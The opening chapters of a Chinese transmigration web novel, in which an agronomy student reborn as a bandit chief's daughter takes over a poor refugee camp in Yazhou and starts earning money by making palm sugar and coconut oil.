《和反派的造反日常》
1. 第 1 章
黑风寨。
茅草屋摇摇欲坠,吹过的风时不时地挂翻几根屋顶的稻草。
陆令嘉跪坐在地上,看着身旁已经僵硬的尸体,面无表情。
随着脑袋的阵阵刺痛,她的意识也清明了几分。
前几日,陆令嘉和导师去考察试验田时不慎从山上坠落,眼睛再一睁就发现来了这里。
地上躺着的尸体,是原身的亲爹。
这人是一个山匪头子,占山为王。而她,正好穿成了这山匪的女儿,小说里《帝王的掌中娇》中的炮灰女配。
原主是这个寨子里的“公主”,作威作福,且没脑子,一门心思只想给自己抢一个漂亮夫婿。
没想到,一抢就抢到了原书中的反派男配。
反派男配长相俊美,风姿无双。
因为跟当今圣上争夺书里的女主,被皇上明升暗贬,赏了一个“平南王”的称号,并把他打发到这隔绝一海的崖州当一个小小的王爷。
原主自是不知道其中的纠葛,在半山途中遇到这反派,“色心大发”,就把人一劫持,带回了寨中当压寨夫婿。
等反派男配醒来时,觉得这是奇耻大辱!
过了些时日,便找了个借口哄骗原主下山,然后带着他的十万亲兵上山剿匪,把黑风寨一窝端了,原主也自此香消玉殒。
陆令嘉眼前一黑,跟着浑身一颤。
这是什么破剧情!
不行!她觉得她还能再抢救一下!
她仔细地打量着周边的环境,脑子的刺痛愈发明显。各种乱糟糟的信息开始不断地涌入,只得先捂着脑袋被迫接收着属于原主的记忆。
与此同时,周围的人一拥而上,众人你一言我一语。陆令嘉也就从他们的口中断断续续地了解到了事情的经过。
按照书中剧情,此时正是发展到原主带着她爹准备下山抢人的时候。没想到一不小心却被石头绊倒,从泥泞的山上滑了下去。
紧急之际,原主的爹为了救她,自己充当了肉垫,把她牢牢护住,然后一命呜呼。
但现在不知是哪个环节出现了差错,反派还没掳来,她反而穿来了。
......
陆令嘉再看着寨子中这一群老弱病残,更是陷入沉思。
说是山匪,但其实他们都是从岭南逃荒过来的灾民,就连这四周临时搭建的茅草屋感觉风一吹就会倒塌。她从原主的记忆里仔细回想众人的所作所为,没有找到丝毫他们违反犯罪的痕迹。
左不过霸占着这山头,没让外人进入。
这算哪门子的山匪?
恍惚间,她被身边的一个大婶推了一把,神思被推回到了现实中。
陆令嘉抬头一看,她常年卧病在床的娘亲在别人的搀扶下,颤颤巍巍地走过来了。
哦豁!
早死的爹,重病的娘,烂赌的哥哥,破碎的她。
全凑齐活了!
思绪翻涌间,她的娘亲已经扑在了旁边的尸体上,嚎啕大哭。
陆令嘉现在身为局内人,嘴巴张合数次也迟迟没能说出话来。
在这种情形下,她不知道应该怎么劝慰他人。
随着围观的人群越来越多了,陆令嘉怕自己过于冷静的神情引起怀疑,只能趁着没人注意,用力地掐了自己一把,跟着她娘一起扑倒在尸体上,开始哭丧。
她哭得一抽一抽地,嗓子也快要嚎出白烟了。
周围的众人纷纷劝道:“陶陶,节哀啊,现在你可更要保重身体,要照顾好你娘,当务之急还是要把大当家的先下葬。”
陶陶就是陆令嘉的小名,据说她的大名是一个游方道士路过时给取的,她爹娘为了好养活特地又给她取了个小名。
崔氏听到话后反应过来,转身把陆令嘉搂在怀里,任由眼泪鼻涕在脸上横流。
-
在众人的帮助下,陆令嘉和崔氏把老陆头装到了棺材里。
棺材是四叔帮忙连夜打的,虽然比不上县城里买的,但是也是用了心,质量上来说肯定没问题。
最重要的是,不用额外花钱。
棺材刚要合上,棺盖边就伸出了一双手挡住了。
陆令嘉一手拿着白幡,一手拎着纸钱篮子,还要搀着崔氏,压根忙不过来。
被来人这一打断,这才分出一点视线给对方。
来的不是别人,正是她那好赌的哥哥。
陆大郎满脸青色,不知是正从哪个赌场里厮混回来,浑身上下还散发着酒气。
他跌跌撞撞地走到前面来,一巴掌想推开陆令嘉挤进去,但是试了几次都没能推开,只好作罢。
于是只能冲着崔氏不满地吼道:“爹死了怎么没人来通知我?按理说也应该我这个长子来举白幡吧?”
陆令嘉扶着摇摇欲坠,泫然若泣的崔氏,压根懒得搭理他。
陆大郎见周围都没人回应,他松垮着衣服,整个人痞里痞气地跳到到了棺材里,开始上下摸索着老陆头的尸体。
崔氏好不容易替老陆同志收拾整齐的衣裳,就被他这胡乱地翻索,又给弄得皱巴巴了。
“你干什么!”崔氏忍无可忍。
“我来看看我爹身上还有没有值钱的东西落下了。”陆大郎不以为意,也丝毫不忌讳他此刻身处棺材里,还在老陆头身上翻索着。
崔氏气得浑身发抖,手指着他骂道:“你这个孽子!你快点给我出来,以后我就当没有你这个儿子!”
旁边的人也看不下去了,都上前劝阻:“都这个时候了,大郎你就不要再戳你娘的心窝子了!”
几个叔叔甚至直接上手拉扯,准备把人拽下来。
奈何陆大郎手紧紧地抓住棺材板不放,几人怕把刚打好的棺材板弄坏,愣是不敢下重手。
少倾,陆大郎终于摸到了两枚铜板,失望地爬了出来。他把铜板塞到了自己怀里,转身就想离开。
还没等他走出去,就被陆令嘉伸手拦住了。
“怎么?我的好妹妹还要再给哥哥一些银子花花吗?”
陆大郎上下打量着她全身,双手搓掌,面露精光:“小妹,爹往日里最疼爱你,是不是把银子都给你了?”
怎么说他也是这个家里的长子,他爹死了,剩下的银子可不得兄妹两个人平分吗?
陆令嘉把手里的东西递给了旁边的人,走过去单手就擒住了他,另一只手伸进了他的怀里,把刚刚那两枚铜板又掏了出来。
“你...你你你......!”
陆大郎张牙舞爪,急道:“你把我的钱还我!”
陆令嘉冷哼一声:“你的钱?”
兄弟,显着你了!
死人的钱,拿着也不嫌瘆得慌?!
她随手把人往外一推,陆大郎就跌坐在了地上。
陆大郎一时间眼里还带着点不可置信:“你...你你......”
陆令嘉双手把尘土拍净,走过去把老陆头的衣裳重新整理了一遍,用力一推,将棺材板合上了。
她对周围的人道了声谢,接过白幡和纸钱篮子,大喊一声:“起棺!”
寨子里人几乎都倾巢而出,跟着队伍
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往天上撒着纸钱。
陆令嘉的几个叔叔走在后面帮着抬棺,谁也没有去管跌坐在地的陆大郎。
-
一行人浩浩荡荡地往山上走去,纸钱也洒了一路。
陆令嘉给老陆头选了个风水宝地,就准备将他落葬了。
黑风寨的人别的不说,那是真的讲义气。
就拿这事来说,若其他人不来帮忙,就她们孤儿寡母两个人还真的没法替老陆头风风光光地下葬。
当然,陆大郎是早就被陆令嘉排除在外了。
等最后一抔黄土盖上,陆令嘉思忖着回去也应该该感谢一下寨里的这些乡亲,顺带着给他们做做思想教育工作。
当山匪有什么好?
当初是因为灾荒没有办法,落草为寇。
现在人人有手有脚,不如早日从良。她得想些法子带大家赚钱,避免他们到时候走上歧途,真的被官府当成匪给剿了!
一路走着,她脑子里都在思考这个问题,突然踩到了什么东西,脚下一滑。
陆令嘉堪堪伸手扶了一把,从山上滑下去这事,她可不想再来第二回了!
她站稳脚跟,垂眸一看。
罪魁祸首就是脚下这个圆滚滚的果实。
陆令嘉捡起一看,想起什么,这才抬头。
头顶上一大片成排下垂的圆锥花序落下,上面结满了大大小小的果实。
桄榔树?
作为一名优秀的农学博士,陆令嘉的脑子不由自主地跳出它的信息来。
棕榈科植物,又称砂糖椰子,花序的汁液可制糖、酿酒。
这可是个好东西!
她看着众人对它视而不见,无动于衷的样子,不由疑惑地问道:“这个果实在这里都没人采摘吗?”
“你说这个呀。”一个婶子看了一眼,接嘴道:“这个果子有毒的,有次我采了几颗,整个手就又红又痒,吃完了还上吐下泻的。”
陆令嘉秒懂。
桄榔的果实确实有毒,里面有大量的草酸钙针晶,所以直接用手接触时,会让人的皮肤变得瘙痒、红肿。
需要用大火烤熟或者煮沸,再将果实挤出才可食用。
【叮......】
【检测到宿主收录新植物‘桄榔’,成功开启农学商城系统,本系统由华夏农业发展委员会研发,现为初级阶段,请宿主再接再厉,努力收录新物种或者耕种田地来获得积分,解锁更多用处。】
陆令嘉一个踉跄,又差点摔倒在地。
她的眼前出现了一个类似游戏系统的界面,有点像她前世的购物软件,只不过页面简陋。
她不动声色地朝四周望去,见众人都没有其他反应,这才安心。
应该是只有自己能看到这个界面。
目前界面只有三栏。
一个是商城,现在只解锁了零星几种常见的种子可以购买,其余的空格都被锁着,无法窥见。
第二个就是背包栏,应该是获得奖励后当作临时仓库储存用的。
第三个就是她的个人信息。
陆令嘉点开一看,顿时生无可恋。
姓名:陆令嘉
年龄:十六
学识:文盲(略识得几个字)
身体:强壮
积分:10
等级:1级
什么叫文盲?
她一个堂堂博士,论文答辩都已经过了三轮了,就只等着给她发一张毕业证书!
现在来了这地方,会不会延毕还不好说,怎么就被打成文盲了?!
2. 第 2 章
陆令嘉还在纠结面板上的学识信息是不是有误,怎么也没有一个客服能报错的。
四叔走上前来,拿着张纸条问她:“陶陶,你给看看这上面写的是什么字?”
他前几日进城,看到有地方招木工学徒,便去报了个名,这纸张正是木工铺掌柜给的,说是需要自备的工具清单。
陆令嘉缓缓展开纸条,看着上面飞舞的小人,欲哭无泪。
明明都是文字,为什么她识别不出来这串乱码?!
陆令嘉认清现实,顾左右而言他:“四叔,其实寨子里挺好的,也不是非要去外面做工......”
四叔见她语涩艰难,便猜到她也认不全上面的字。
他把纸条收了回去,寻思着到时候下山再找人问问。
回到寨子后,陆令嘉把用粗布包裹的一大袋桄榔都一齐带了回来。
作为一个新时代‘文盲’,她除了要抓紧学习这个时代的文字外,还要扛起赚钱养家的责任。
崔氏被几个婶子扶着回了屋里,毕竟她身子一向虚弱,现下又遭受了这接连的打击,更要好好修养。
陆令嘉坐在院子前,正准备把桄榔收拾一下,顺便熬制出一些糖块来,看看能不能去县城里换点钱。
这时,她的几个叔叔们还有寨子里的一些人走了过来,把她围在了中间。
原主爹一共有五个兄弟,之前村子受灾,大家都把她爹当成是主心骨,跟着一起逃难到了这崖州。
现下她爹死了,寨子里也需要有一个新的主事人。
好在他们之前的村子里没有男尊女卑那一套,向来以能力说话,谁有能力,谁就当老大。
陆令嘉天生神力,寨子里不少人都知道的,她爹也一直隐隐有把她当接班人来培养的意向。
她一抬头,看着周围这几个穿着粗布麻衣,浑身都打满补丁的叔叔们。四叔五叔六叔都面露忧伤地看着她,二叔和三叔则是摩拳擦掌,跃跃欲试。
还未等她开口,陆二叔便大咧咧地先吼了起来:“要我说,大哥当初就是太仁慈,我们不如直接干一票大的,下山绑几个富贵少爷,先换点银两来花花。”
陆令嘉急忙想要阻止。
二叔啊,你这个思想很危险啊!
绑架可是要被判刑的啊!
原主不就是因为绑错了人而死的吗?她可不想再走原来的剧情!
重来一次,陆令嘉自是要避开原书里所有危险的剧情,好好地活下去!
而黑风寨这一大烂摊子,她本来是不想接手的。想着日后只要顾好崔氏一个人,便也算替原主尽了孝。
但她不掌权没辙啊!这些人全都是黑户,走投无路,以后指不定要捅出多大的篓子!
既然如此,要搞就得搞个大的。当上这里的山匪头子,把这一群山匪都给拉回正道!不然搞不好她什么都没干呢就要被连坐,怎么也逃脱不了炮灰的命运。
“陶陶啊,现在大哥去了,你有什么想法吗?”三叔走了过来,拍了拍她的肩膀,接着道:
“大哥是把你当接班人来培养的,你若愿意,以后便是我们黑风寨新的大当家。”
陆令嘉循着声音抬头,三叔温文儒雅,一副为了她好的模样,情真意切。
只是他话音刚落下,便有人反对。
二叔单脚踩在一条凳子上,脸上不服:“陶陶一个女孩子,日后还要嫁人的,她当这个大当家,成何体统!”
三叔又继续他的茶言茶语:“可是...陶陶力气最大,她还......”
“力气大有什么用?我们这里哪个人力气小?”
六叔:“那不成,当初大哥就说了,以后黑风寨归陶陶管。陶陶你开口,你说该怎么办我们就怎么办!”
六叔一直都以原主她爹马首是瞻,现下她爹走了,就把这份精神寄托转移到了陆令嘉的身上。他坚定地站在了陆令嘉的身边,用行动表示着支持。
剩下的四叔沉默着没有说话,五叔坐在一旁手捧书卷,磕着瓜子顺带中间穿插着劝架两句。
而寨子里其他人都眼观鼻鼻观心,垂着头都不说话。
黑风寨就属他们姓陆的人最多,虽然他们也不愿意让这么个小丫头片子当这个大当家,但却没人愿意当这个出头鸟。
陆令嘉当下就做了决定,她既然想掌权,就必须亮出自己的实力。
她在脑海里搜寻记忆中的招式,双拳相碰,激活战斗模式。
“既然如此,不如就按照寨子里以往的规矩,谁要是不服,我们就来比一比!”
今天若是不比一场树立威严,以后恐怕她就算当了这个大当家也只是挂着虚名,在寨子里不会有什么话语权,更别提让众人听她的号令办事。
陆二叔听了这话,眉头蹙起。
再看着已经站起热身的小侄女,想到刚刚去世的大哥,也不想伤了她:
“陶陶,虽然你平时力气大,但真打起来可不是儿戏!二叔不想伤了你,现在走还来得及。”
大哥还在世的时候,就经常夸陆令嘉天生神力,一个人就能扛起一头猪。
陆老二却觉得他大哥夸大其词了,顶多就是一个力气比较大的女娃娃罢了,再大能大到哪去?而且大哥当时说那些话,想必是为了给她的日后铺路。
而陆令嘉就更没什么好怕的。
就她方才一掌降伏陆大郎那劲,这寨中还能有第二人做到?!
陆二叔担心伤了她,陆令嘉还担心把人打太狠了怎么办。
话已至此,多说无异,一切还是得看实力说话。
陆令嘉随意地跳了两下,双腿蹬地,对着空气挥拳。
可寨子里没人当真,都觉得她在虚张声势。
陆老二说得没错,陆令嘉一个女孩子,力气再大能大到哪去?别到时候当了大当家只会颐指气使,把他们当下人用。
众人自觉地围成一个圈,把最中间的空地留给他们二人。
陆二叔大方道:“陶陶,你先出招吧,不然日后到了地底下,大哥还要怪我这个做叔叔的不让你。”
陆令嘉一步步上前,笑着回敬:“二叔啊,那您可得小心了!不然日后到了下面,我爹还要教训我这个做侄女的不给做长辈的留情面!”
她才不会因为对方是自己的叔叔就手下留情。
这可是她的立威之战!
陆二叔嗤笑一声:“我倒是要看看你有什么本事!”
话音未落,陆令嘉身形一动,右拳紧握,直捣对方面门。
还没等陆二叔反应过来,已经被这一拳震得连连后退,脚步踉跄,直接摔倒在地。
陆二叔难以置信地看着陆令嘉,双手捂着肿了半边的脸嗷嗷乱叫。
过了片刻,他才艰难地抬头,张嘴将口中的碎牙连同血水一同吐出。
“二叔,还要再打吗?”
陆二叔躺在地上,龇着牙,连连摇头:“不打了不打了。”
真要命,这小侄女的拳头怎么这么硬!
差点一拳就把他给送走了!
陆令嘉收了拳头,赶紧过去把人搀扶起来。
刚一触碰到对方,陆二叔浑身立马惊恐地抖了三抖:“你...你干嘛!”
陆令嘉神色讪讪:“不好意思啊二叔,一时没收住力......”
陆二叔牙齿刚掉,讲话还漏着风,朝着人群中的媳妇瞪了两眼,把手撑在了钱氏身上,拍拍屁股回屋休息了。
连最有竞争力的陆老二都认输了,围观的其他众人就更不用说了。
他们纷纷拍手表示认可。
一招定胜负啊,
小小年纪就有这么大本领,老陆当家还真的没吹牛!
陆六叔在一旁拍手叫好,把气氛重新炒了起来:“那以后陶陶就是我们寨里新的大当家了!大家都要听她的!”
也不知谁带了头,一人突然单膝跪地,双手抱拳,其他人也纷纷效仿,跟着跪下。一个个义薄云天地嘶吼着:
“拜见大当家——”
陆令嘉:“......”倒也不必如此。<
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p>更何况搞得这么匪气,以后她还怎么做思想教育工作!
戏看够了,人群也要散了。
陆令嘉冲着寨子里的人一拱手,大声地喊道:“今天辛苦大家了,明天给大家伙送糖吃。”
糖,在这个时代可是稀罕东西。
黑风寨上下三十几个人,几乎没有哪户人家的家里是有糖的。
陆令嘉刚刚立了威,觉得还不够。
她得拿出好东西来,让每个人都尝到甜头了,这才能真正的统领整个寨子。
话音刚落下,人群中便传来一阵阵声音:“谢谢大当家!”
“以后跟着大当家混准没错!”
“有大当家的在,我们保准没多久就能吃上肉!”
“......”
这是谁先开始造的谣?
不过当了大当家,气势就上来了。
她伸手往下压了压,人群中立马鸦雀无声。
陆令嘉开口:“大家都自个儿忙活去吧。”
大伙见没事了,也就纷纷离去。
待人群散得差不多了,陆令嘉把陆五叔和陆六叔喊住。
“五叔、六叔,等等!”
两人脚步一顿,看到陆令嘉神色不虞,以为她还在为刚刚和老二争斗的事情生气,正想劝慰两句,就听她开口道,“五叔、六叔,以后你们两个人一起帮忙来记寨子里的账簿吧。”
二叔三叔她信不过,四叔则另有安排。
二人却疑惑了。
寨子里一共就这么几个铜板,这也要记账?
陆令嘉又道:“我想到一些赚钱的法子,如果不记好账,咱们这么一摊子人,恐怕没多久就坐吃山空了。”
陆五叔是寨子里唯二的文化人,略识得几个字,当即就点头应下。
陆六叔激动地搓着手,语气无比兴奋:“大当家,什么赚钱的法子?”
是不是打算绑几个人?劫富济贫?
说起来陶陶还是一个黄花大闺女,大哥去了,大嫂又卧病在床,可不得他们几个做叔叔的多操点心吗?
现在她又当了他们这个山匪头子,以后嫁人估计是难了。
不如这几日他就下山帮着看看,碰到长得俊俏的小伙子直接就给绑了带上山来,好给她当压寨夫婿!
陆令嘉不知道陆六叔心里在想什么,她目前也只是有了个大致的思路,先提前通知他们一声。
“还没想好呢,我先好好规划规划。”
若日后真的等生意做起来了,再培养几个专业的人才也不迟。
陆六叔不高兴了,一张小脸皱起:“那你可要第一时间告诉我!”
“好好好。”她随口敷衍。
-
打发了五叔和六叔,陆令嘉就去折腾刚刚处理了一半的桄榔。
桄榔经过火烤,碰到后皮肤就不会再感到瘙痒。
陆令嘉拿了根木棍,把里面的果实胚乳都给压了出来。
这可是天然的甜品原料!
地上剩下的还有一大堆的花序。
她依次把花序的汁液挤出来,拿出一个大锅准备熬制成糖。
熊熊火焰燃起,映在她眼中,更是激起了她生存下去的欲望。
崖州这地方她熟悉,以前跟着导师三天两头往这里的试验田跑。
现下她还没完全弄清这个系统的用法,但是可以干回她的老本行,改善作物种子和种植环境。
黑风寨三十几号人,三十多张嘴巴。
要养活起来还是有点难度的。
得趁空先多想想有什么发家致富的法子,起码能先让大家吃上白米饭。
浓烟呛鼻,陆令嘉被熏的咳嗽了几声。
现在还是酷暑,她在火堆旁待了没多久,便是满头大汗。
索性趁着等候的时间回屋里翻寻着。
原主的屋子里应该有一本《千字文》,得抓紧时间拿出来好好学习一番。
作为一个二十一世纪接受过高等教育的知识分子,她不允许自己是个文盲!
3. 第 3 章
陆令嘉手中破旧不堪的书本翻到了第十页的时候,锅下的柴火也燃尽了。
她拿了根木碳当笔,做了个记号,把书一盖,先去捣腾这锅的糖汁。
毕竟这可关乎她的赚钱大计!
盒子早已备好,七零八落地摊在桌上。陆令嘉将糖汁均匀地倒在格子上,再放到阴凉处风干。
她抬头望天。
黑风寨就建在崖州的一座山上。
送原主的爹上山时,她顺势考察了一下这里的地形。
他们现在所处的位置热带植物丰富,往深一点走去,还能采到很多椰子。
但是椰子长得太高,大部分人觉得这个东西只能解渴,一般都不会去摘。就算真的有人摘来了,喝完里面的汁液后也是随地弃之。
陆令嘉在院子里找了个麻袋,又物尽其用,把之前桄榔的叶鞘制成了绳索,准备去摘一些椰子来试验一下。
椰子肉、椰子油,都是宝贝。
最主要的是,油也能卖不少钱!
现在还在创业期,兜里穷。
能赚钱项目是越多越好!
趁着天还未黑,她找到了最近的几棵椰子树,将背上的麻袋扔在地上,再把绳索往身上一系。
陆令嘉发髻高挽,卷起衣袖,双手一搂树干,两脚一蹬,就灵活地往上爬去。
待她爬到了顶端,又将腰间的绳索牢牢地系在了树枝上,这才放心地伸手去拧椰子。
因为没有戴手套,一下就被椰壳边缘尖锐的刺给扎到了手。
嘶——
她一咬牙,用力一掰,椰子被她硬生生拧了下来。
也幸好她这个身子的力量大,能徒手拧椰子,否则恐怕忙活到天黑都不一定能掰得下一个!
椰子刚哐当一声落地,陆令嘉便在心里问着系统。
“系统,这个椰子你怎么不收录?”
【宿主,崖州遍地都是椰子,因此没有收录的价值。】
靠!
这她就不服了。
她跟系统争取着那点微薄的积分:“虽然说这里到处都是椰子,可是这里的人们都不知道如何食用,我可以跟他们好好科普!”
系统:【......】
陆令嘉继续讨价还价:“你看,就像这里也有很多桄榔,可是他们都不知道如何食用,椰子也是一样的道理。我觉得我们必须要替椰子正名!作为一个农业种植类系统,难道你不想做大做强,闻名远扬吗?!”
系统动摇了一点,有些不情不愿:【那好吧,只能给宿主一半的积分。】
叮的一声——
陆令嘉收到了系统的提示。
【收录新植物椰子,恭喜宿主获得5积分,目前等级为1级......】
行吧。
聊胜于无。
多五分也是五分。
她现在跟捡破烂似的,有什么东西都想捡一点。
陆令嘉最后来来回回爬了好几棵树,将拧下来的椰子装了整整两个麻袋,把东西往身上一扛,这才打道回府。
待她回到久违的寨子里时,天色已经渐渐暗下来了。
因着爬树时上蹿下跳,陆令嘉的头发还有衣裳都沾染了不少尘土和树叶,她打了一盆水洗手。
现下这个地方,连澡豆都不是很常见,更别提肥皂这种东西了。
她还是得尽快研发出来,不然洗手洗澡都不方便。
洗净手后,随便找了点吃的垫垫肚子,估摸着晚上还得加个班。
没想到人还没毕业,就提前过上了社畜的生活!
996,007。
真惨。
陆令嘉把今天的战果全都倒了出来,整整一麻袋的椰子倒了满地。
开始手起刀落地处理起来。
顺着腰线,用刀背把椰子壳砸开。
咔嚓一声——
椰壳的顶部被干净利落地切开,露出了里面洁白的椰肉和清澈的椰子水。
淡淡的清香瞬间与周边的海风交织在一起,弥漫开来。
她把椰壳倾斜,清冽的椰子水缓缓流出。
舀了一碗倒入自己口中,周身的暑气和口舌的干燥都被这丝甘甜所驱散。
耳边是轻风拍打着树叶的响声,还有落日的余晖将她的身影拉长。
椰子水倒尽,陆令嘉再将里面的椰子肉洗净后切块,捣成泥浆,最后过滤一遍放入锅中。
椰子的清香顺着锅中飘散出来。
继续熬吧!
微弱的烛光摇晃着,陆令嘉在等待的时候继续拿着木炭写写涂涂。
-
翌日清晨。
天光还未大亮,陆令嘉打着哈欠,眼睑下方一片乌青。
她拿着切好的糖块挨家挨户地送过去。
寨子里的小朋友们大部分都没吃过糖这个玩意,舔了一口,眼睛都发亮了。
虽然她昨天的时候就许诺说每家都有,但是大家都以为她是随口说的场面话,没有当真。
哪知道跟着大当家,是真有糖吃啊!
陆大当家今日便靠着这糖块彻底站稳脚跟!
等她来到二叔家,敲门后,来开门的是二婶钱氏。
钱氏见到她过来,连忙殷勤端来了一碗稀粥,“陶陶这么早来了,还没吃早饭吧,来喝完粥垫垫肚子。”
昨天她男人被陆令嘉一拳打得牙齿脱落,害得全家都在寨子里落了脸。
现在这个侄女当了寨子的大当家,以后会不会给他们穿小鞋可不好说!
陆令嘉没有客气,她忙活了一晚上,也真是有点饿了,接过碗就是咕噜噜一口喝下。
稀!太稀了!
还是因为穷啊!
她对上钱氏担忧的目光,忙把包里的糖块递了过去,“二婶,这是给你们的,省着点用,以后有多了再送过来。”
钱氏接过糖块,惊喜地“欸”了一声,“我们也有啊。”
“那当然,说好的人人有份。”陆令嘉看着天差不多也已经亮了,她得抓紧去县城卖货了,便也不多待,直接告辞。
“二婶,那我就先走了!”
“那常过来玩啊!”
钱氏收了糖块,把门栓好后,陆二叔才讪讪地从屋子后面走了出来。
“陶陶走了?”
钱氏白了他一眼:“走了。”
她把身上的围裙解开往桌上一扔,满脸不高兴。刚熬好的粥,自己都还没喝呢,就便宜了这个死丫头!
陆二叔拿起桌上的糖块左瞅瞅右看看,手指捻了点碎末放嘴里尝了一口,“她还真的给大家都发这么大一块糖啊!”
她这小侄女哪来的钱?
莫不是一个人去绑了哪户人家的少爷?!
钱氏把东西重新包好,放到家里唯一的柜子里,声音不自觉就提高了:“你说呢?!亏得你连大当家的位置都没抢来,要我说她爹当初肯定一个人贪了不少油水,现在都留给她这个小丫头片子了!”
陆二叔皱了皱眉头,吼道:“你别胡说!”他大哥肯定不会这样。
“你还不信!那你说她一个女娃娃,哪里来的这么多糖。刚才我可是瞧见了,每一家每一户都分过去了!”
这个死丫头,也不知道给自己家里人多分一点。
其他人分这么多干嘛!
陆二叔摸了摸还发痛的腮帮子,撂下一句:“再看看吧!”
-
陆令嘉把剩下的糖块还有已经凝固了的椰子油都收拾好,一起装进背篓里,准备先去县城里找些铺子换钱。
寨子里现在也没有人养鸡、鸭,换了钱估摸着还得再去买点小鸡崽,孵出来的鸡蛋也能给大家伙加加餐。
这样想着,她也不含糊,拎起背篓就往外走去。
山上的路泥泞崎岖,并不好走。
等她按着记忆走到山脚时,已经过了晌午。
崖州府城矗立巍峨,陆令嘉看着城门口把守的官兵,还有排队等待入城的百姓。
她这才想起,逃荒过来的时候,身份文牒早就丢在路上了!
现下只能只能排在队伍的最后面苟着,先打探打探情报。
等看到城门的守卫几人简单地扒拉了一下来往百姓携带的包裹,确认没有什么武器,再随意问上几句就收钱放人了,她这才松了一口气。
幸好啊幸好!
不然被人逮住一问三不知,搞不好小命就交代在这里了!
陆令嘉提着麻布袋,背着一竹筐的背篓在后面安心地等着,排到她时,城门守卫看她是个小姑娘,也没搜身,只让她打开布袋检查一下里面装的是什么东西。
她连忙将袋子打开,又拿出一竹筒封好的椰油递了过去:“这是自家榨的一些油汁,家里的米粮不够了,我来买点回去。”
守卫打开竹筒,椰子的清香立马扑面而来,他沾起一点放到嘴中,“这油不错,清香!”
陆令嘉讨好地笑着:“里面加了椰子,所以多了一丝椰香。”
守卫砸吧了一下嘴唇,心想难怪感觉这油的味道似曾相识,他收好竹筒,冲着她点点头:“进城费一文,放篮子里就进去吧。”
陆令嘉连连道谢,把铜板扔进篮子里便进城了。
穷是真穷。
仅剩的财产瞬间又少了一半。
她走进城门才开始细细观摩城内的设施。
崖州府城不大,城中只有一条主街。
中间是府衙,也就是传说中的CBD,城中所有事务、官差上班都在这里。东市小店鳞次栉比,一家挨着一家,主要卖着些各类杂货、粮油米面等生活必需品。西市则更为高端大气上档次,间隙有致,主要是卖些胭脂水粉、绫罗绸缎、珠宝首饰等这个年代的‘奢侈品’。
一些高档的酒楼也都紧挨着开在西市。
陆令嘉穿着短打麻布衣,就这样走进了令人眼花缭乱的西市。她目标明确,径直走到一家装修华丽的酒楼中,喊道:“小二!”
现下已经过了饭点,酒楼里没什么生意,伙计听到叫声,把抹布往肩上一搭,懒懒散散地走了出来。
陆令嘉把袋子里的椰油拿出,问道:“我这有一种油,自带清香,用它做菜,风味无穷!保管你们今后客似云来!”
伙计不信:“哪有这种油!”
现下他们大部分用的是胡麻油、蓖麻油还有鱼油。<
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p>胡麻油就是后世的芝麻油,产量低,所以价钱贵。蓖麻油价格中等,但一般拿来做药用。鱼油倒是便宜,只不过腥气重,用来做菜总有一股味道。
再加上现在养猪的人不多,这里连猪油都很少见,更别说牛油羊油了。
陆令嘉打开竹筒,挪到伙计的鼻子下:“闻闻?”
伙计看到竹筒里雪白锃亮的椰油膏,果真散发出淡淡的香气!他急忙去拿了个勺子,舀了一点放入嘴中。
陆令嘉:“怎么样?”
伙计点点头:“确实不错!你这是何物制成?”
陆令嘉心想,等椰油传开,肯定也会有人琢磨出这个做法,藏着掖着也没有必要。
她大方承认:“是椰子油。”
伙计本想再问是如何炼制而成,但想着这许是人家的机密,也不好再打探。他抬头重新打量起眼前的这个少女,穿着简朴,与整个西市格格不入,猜想应该是拿着这椰子油来卖点钱的。
伙计道:“姑娘稍等,我去请我们掌柜的来!”
陆令嘉颔首,耐心地等待起来。
不过片刻,一个中年男子便掀开了帘子走了出来,指着刚刚打开的竹筒问道:
“方才听伙计说,姑娘这有一种油,颜色清丽,味道香甜,可就是这个?”
陆令嘉:“没错,这是椰子油,是我家中祖传秘方炼制而成。”
掌柜点头,难怪以前从来没有听说过椰子油这种东西,原来是人家祖传的。
他又问道:“姑娘准备怎么卖?”
她刚刚排队的时候跟人打探过。
胡麻油约莫要十二文一斤,鱼油便宜,只要五文钱,二者价格相差甚多。
她思考片刻后开口:“九文钱一斤。”
掌柜摆手:“六文钱,椰油制菜我们没试过,万一客人不爱吃,我们就纯浪费了。”
陆令嘉脸不红心不跳开始胡诌:“掌柜的刚刚已经尝过了,这味道不输给胡麻油吧?这可是我们家祖先世世代代研究了三百年而成的秘方,整个崖州城都是独一份!”
掌柜看着这竹筒的油,鼻尖时不时还飘来的清香,一咬牙:“八文钱,不能再多了!这些油我全要了!”
陆令嘉双眸一亮,赶紧应下,把袋子里的剩余的椰子油都掏了出来。
她好心交代道:“烧菜的时候挖取一勺就可以了。”
掌柜记下,又与她商讨:“不过你们家以后若是新榨了油,只能卖给我们酒楼。”
这是想独家代理了。
按理说,想要垄断,价格可得翻一番。不过陆令嘉想着,以后少不了有新产品推销给这个掌柜的,如果能结个善缘,可就是相当于抱了一根金大腿。
她当即应下:“没问题!都先紧着掌柜的你们来!”
掌柜笑眯眯地去拿秤杆。
现在就是称重的问题。
陆令嘉想到个法子:“您先拿个大的瓦罐,称完多少重后,再把椰子油都装进去,最后再减去瓦罐的重量即可。”
掌柜的一拍大腿:“好主意啊!”
这小姑娘看着年龄不大,却是个机灵的!
做起生意来稳重老道!
最后一称完,共有三十七斤油,合计二百九十六文钱。
掌柜见陆令嘉前面答应地如此利索,又多添了四文钱,给她凑了个整。
陆令嘉接过铜钱,装进她的贴身的小布袋里,两眼发光。
发财了发财了!
这可是她赚的第一桶金!
把东西收拾好后,陆令嘉这才想起来还有糖没卖呢!
左右不过是多问一句的事情,于是便她随口一问:“掌柜的,我这还有一些糖块,您这需要吗?”
掌柜刚把瓦罐密封好,就又听到那个姑娘问他。
这姑娘究竟什么来历?!
难不成糖这么稀罕的东西她也会做?
陆令嘉把糖块摊开,直接掰了一小块给他:“掌柜的,尝尝。”
掌柜也不客气,接过抿了一口。
确实不错,虽然没有市面上卖的白糖口感细腻,但也实属上乘了。
他捋了捋胡子,问道:“这糖也是你们家自己做的?”
陆令嘉讪笑:“是是,这也是我们家祖先钻研出来的。”
掌柜沉吟片刻:“你开个价吧。”
这可把陆令嘉难倒了。
她还真不知道糖块现在的价格。
她本来是打算运气好卖完油,便去东市的杂货铺碰碰运气,所以来时只问了油的价格。
但是陆令嘉也是老社会人了,不知道价格还不会演吗?
她立马戏精上身,握住掌柜双手,慷慨激昂道:“掌柜的,您看我们相逢即是缘分,您开口,只要不是太低,我都卖了!”
